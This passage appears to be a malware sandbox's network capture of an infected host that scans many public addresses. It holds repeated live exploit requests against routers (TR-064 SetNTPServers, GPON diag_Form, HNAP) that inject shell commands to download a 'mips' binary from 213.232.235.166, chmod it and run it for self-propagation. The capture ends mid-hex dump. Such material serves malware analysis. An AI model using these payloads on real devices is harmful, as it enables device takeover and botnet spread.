Apr 15, 2024 08:53:42.853914022 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1180	192.168.2.13	43202	175.237.58.152	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.857961893 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1181	192.168.2.13	35796	173.33.56.136	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.873609066 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1182	192.168.2.13	36998	186.225.195.139	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.894320965 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:43.904392958 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:44.245779037 CEST	190	IN	HTTP/1.1 404 Not Found Date: MON APR 15 03:53:43 2024 Server: cwmp server Connection: close Content-Length: 14 Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1183	192.168.2.13	45988	188.138.203.45	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.897769928 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:44.608398914 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:44.942775011 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1184	192.168.2.13	49378	89.181.14.231	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.919939041 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1185	192.168.2.13	33738	99.236.83.244	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.962570906 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1186	192.168.2.13	51908	186.6.161.225	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.980622053 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:43.223526955 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1187	192.168.2.13	33496	99.237.109.14	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.982456923 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1188	192.168.2.13	43160	159.69.192.70	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.037674904 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:43.339673042 CEST	497	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:43 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 303 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6d 69 6e 69 72 61 74 79 2e 70 6c 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.29 (Ubuntu) Server at miniraty.pl Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1189	192.168.2.13	57332	59.12.224.143	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.068321943 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1190	192.168.2.13	42006	14.65.239.234	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.075211048 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1191	192.168.2.13	51060	175.228.4.92	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.076469898 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1192	192.168.2.13	56318	61.76.151.114	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.127542973 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:43.416207075 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:53:42 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1193	192.168.2.13	35890	191.61.178.123	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.132164955 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:44.096374035 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:46.048372030 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1194	192.168.2.13	43238	175.237.58.152	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.151403904 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1195	192.168.2.13	44222	84.74.124.103	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.191466093 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1196	192.168.2.13	46024	188.138.203.45	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.237314939 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:43.575529099 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1197	192.168.2.13	49416	89.181.14.231	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.292263985 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1198	192.168.2.13	44276	179.94.4.53	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.494438887 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1199	192.168.2.13	40850	85.115.221.135	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.591208935 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 